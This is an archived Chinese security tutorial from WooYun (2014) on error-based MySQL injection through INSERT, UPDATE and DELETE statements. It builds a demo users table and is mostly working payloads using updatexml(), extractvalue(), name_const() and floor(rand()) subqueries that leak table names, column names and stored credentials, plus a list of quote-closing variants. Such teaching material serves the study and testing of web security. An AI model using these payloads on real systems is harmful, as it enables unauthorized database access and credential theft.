# 利用insert，update和delete注入获取数据

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-05-27T07:05:00Z
Canonical: https://wepostx.com/topics/479

> 乌云历史资料归档
>
> **原始作者：** luwikes
> **原始编号：** superkieran-wooyundrops:261
> **原始发布时间：** 2014-05-27 15:05
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

## 0x00 简介

利用SQL注入获取数据库数据，利用的方法可以大致分为联合查询、报错、布尔盲注以及延时注入，通常这些方法都是基于select查询语句中的SQL注射点来实现的。那么，当我们发现了一个基于insert、update、delete语句的注射点时（比如有的网站会记录用户浏览记录，包括referer、client_ip、user-agent等，还有类似于用户注册、密码修改、信息删除等功能），还可以用如上方法获取我们需要的数据吗？在这里，我们以MYSQL的显错为例，看一下如何在insert、update、delete的注射点中获取我们想要的数据。

## 0x01 环境搭建

为了更好的演示注射效果，我们先利用下面的语句创建原始数据：

```text
create database newdb； use newdb; create table users( id int(3) not null auto_increment, username varchar(20) not null, password varchar(20) not null, primary key (id) ); insert into users values(1,'Jane','Eyre');
```

![原文图片](/media/2016/06/0b109f4689bff38867d475d64f7c934d)

看一下当前数据结构：

![原文图片](/media/2016/06/c7fc9731ea3ff2088fd1787013f68752)

## 0x02 注入语法

因为我们这里是用的显错模式，所以思路就是在insert、update、delete语句中人为构造语法错误，利用如下语句：

```text
insert into users (id, username, password) values (2,''inject here'','Olivia'); insert into users (id, username, password) values (2,""inject here"",'Olivia');
```

![原文图片](/media/2016/06/0b9f1046cc1a67f9d041200e93255431)

注意：大家看到本来是要填入username字段的地方，我们填了'inject here'和”inject here”两个字段来实现爆错，一个是单引号包含、一个是双引号包含，要根据实际的注入点灵活构造。

## 0x03 利用updatexml()获取数据

updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
payload：

```text
or updatexml(1,concat(0x7e,(version())),0) or
```
Insert：

```text
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(1,concat(0x7e,(version())),0) or'', 'Nervo');
```

![原文图片](/media/2016/06/ae04a8fc2b0936519f659a5d69a0620d)

Update：

```text
UPDATE users SET password='Nicky' or updatexml(2,concat(0x7e,(version())),0) or''WHERE id=2 and username='Olivia';
```

![原文图片](/media/2016/06/06f662233131c547aa554312bc6effa4)

Delete：

```text
DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or'';
```

![原文图片](/media/2016/06/bd16913e61ad591a5b3b71f971cc154f)

提取数据：
由于篇幅有限，在insert、update、delete用法一致的时候，我会仅以insert为例说明。
所用的payload为：

```text
or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or
```
获取newdb数据库表名：

![原文图片](/media/2016/06/c400099558009332359b26c179fd5cda)

获取users表的列名：

![原文图片](/media/2016/06/14affe15dc520da550b6d478ba8b43d1)

利用insert获取users表的数据：

![原文图片](/media/2016/06/d41455e2da18ac96ce7553facb9a8e07)

利用delete获取users表的数据：

![原文图片](/media/2016/06/ef0cc1685d5069fdf8a9004adc0e8ac8)

我们可以用insert、update、delete语句获取到数据库表名、列名，但是不能用update获取当前表的数据：

![原文图片](/media/2016/06/6371561e5adab805f5a90b5db9a63f82)

在这里，为了演示用update获取数据，我们临时再创建一个含有id，name，address的students表，并插入一条数据：

![原文图片](/media/2016/06/63266680cecdd291fc626f0f857f65ed)

再次利用update获取users表的数据：

![原文图片](/media/2016/06/9c2fcbd128d3d114051595f23de3f893)

如果你碰到一个update的注入并且想获取当前表的数据的话，可用用双查询，我后面会讲到。

## 0x04 利用extractvalue()获取数据

extractvalue()函数也是MYSQL对XML文档数据进行查询和修改的XPATH函数。
payload：

```text
or extractvalue(1,concat(0x7e,database())) or
```
Insert：

```text
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,database())) or'', 'Nervo');
```

![原文图片](/media/2016/06/04fb37757d71cadadc59f806b16510c4)

update：

```text
UPDATE users SET password='Nicky' or extractvalue(1,concat(0x7e,database())) or'' WHERE id=2 and username='Nervo';
```

![原文图片](/media/2016/06/385014724ae36dc1825f98fe312e004e)

delete：

```text
DELETE FROM users WHERE id=1 or extractvalue(1,concat(0x7e,database())) or'';
```

![原文图片](/media/2016/06/cfd66d258459bc5fe0709ba9761d0872)

提取数据：
同样，在insert、update、delete用法一致的时候，我会仅以insert为例说明。
获取newdb数据库表名：

```text
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 1,1))) or'', 'Nervo');
```

![原文图片](/media/2016/06/b1b629e0926daaee81fe1820500d2729)

获取users表的列名：

```text
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 0,1))) or'', 'Nervo');
```

![原文图片](/media/2016/06/9a62f002d1f1df2a2b6e148e604d3eb1)

获取users表的数据：

```text
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1))) or '', 'Nervo');
```

![原文图片](/media/2016/06/d255b39644719cf8871cacabb115f892)

同样，我们可以用insert、update、delete语句获取到数据库表名、列名，但是不能用update获取当前表的数据。

## 0x05 利用name_const()获取数据

name_const()函数是MYSQL5.0.12版本加入的一个返回给定值的函数。当用来产生一个结果集合列时 , NAME_CONST() 促使该列使用给定名称。
Payload：

```text
or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or
```
Insert：

```text
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '','Nervo');
```
update：

```text
UPDATE users SET password='Nicky' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '' WHERE id=2 and username='Nervo';
```
delete：

```text
DELETE FROM users WHERE id=1 or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)or '';
```
提取数据：
在最新的MYSQL版本中，使用name_const()函数只能提取到数据库的版本信息。但是在一些比较旧的高于5.0.12(包括5.0.12)的MYSQL版本中，可以进一步提取更多数据。在这里我使用MySQL5.0.45进行演示。
首先，我们做一个简单的SELECT查询，检查我们是否可以提取数据。

```text
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT 2),1),name_const((SELECT 2),1))a) or '', 'Nervo');
```
如果显示ERROR 1210 (HY000): Incorrect arguments to NAME_CONST，那就洗洗睡吧。。
如果显示ERROR 1060 (42S21): Duplicate column name '2'，就可以进一步获取更多数据。

![原文图片](/media/2016/06/41f865d12448aa504c2292d7a18371a1)

获取newdb数据库表名：

```text
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1),name_const(( SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1))a) or '', 'Nervo'); ERROR 1060 (42S21): Duplicate column name 'users'
```
获取users表的列名：

```text
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),1),name_const(( SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),1))a) or '', 'Nervo'); ERROR 1060 (42S21): Duplicate column name 'id'
```
获取users表的数据：

```text
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT concat_ws(0x7e,id, username, password) FROM users limit 0,1),1),name_const(( SELECT concat_ws(0x7e,id, username, password) FROM users limit 0,1),1))a) or '', 'Nervo'); ERROR 1060 (42S21): Duplicate column name '1~Jane~Eyre'
```

## 0x06 利用子查询注入

原理与select查询时的显错注入一致。
Insert：

```text
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or'', 'Nervo');
```

![原文图片](/media/2016/06/45e6bf85fb1aa859461b4a589556ae0f)

update：

```text
UPDATE users SET password='Nicky' or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or'' WHERE id=2 and username='Nervo';
```

![原文图片](/media/2016/06/c925d71dc900a227e760bb5d57447ff0)

delete：

```text
DELETE FROM users WHERE id=1 or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or'' ;
```

![原文图片](/media/2016/06/a62d63715b5425121f75069df1e4b4e2)

提取数据：
获取newdb数据库表名：

```text
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '','Nervo');
```

![原文图片](/media/2016/06/5d402f540db9b46ab8ad831fc2bb7523)

获取users表的列名：

```text
INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'Nervo');
```

![原文图片](/media/2016/06/22d75476a77156bf8decca888258c5d8)

获取users表的数据：

```text
INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT concat(0x7e,0x27,cast(users.username as char),0x27,0x7e) FROM `newdb`.users LIMIT 0,1) ) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'Nervo');
```

![原文图片](/media/2016/06/0663e453cf1743dc64c75a82ac8f864b)

## 0x07 更多闭合变种

```text
' or (payload) or ' ' and (payload) and ' ' or (payload) and ' ' or (payload) and '=' '* (payload) *' ' or (payload) and ' " – (payload) – "
```

## 0x08 引用

http://dev.mysql.com/
http://websec.ca/kb/sql_injection
from：http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf

## Replies
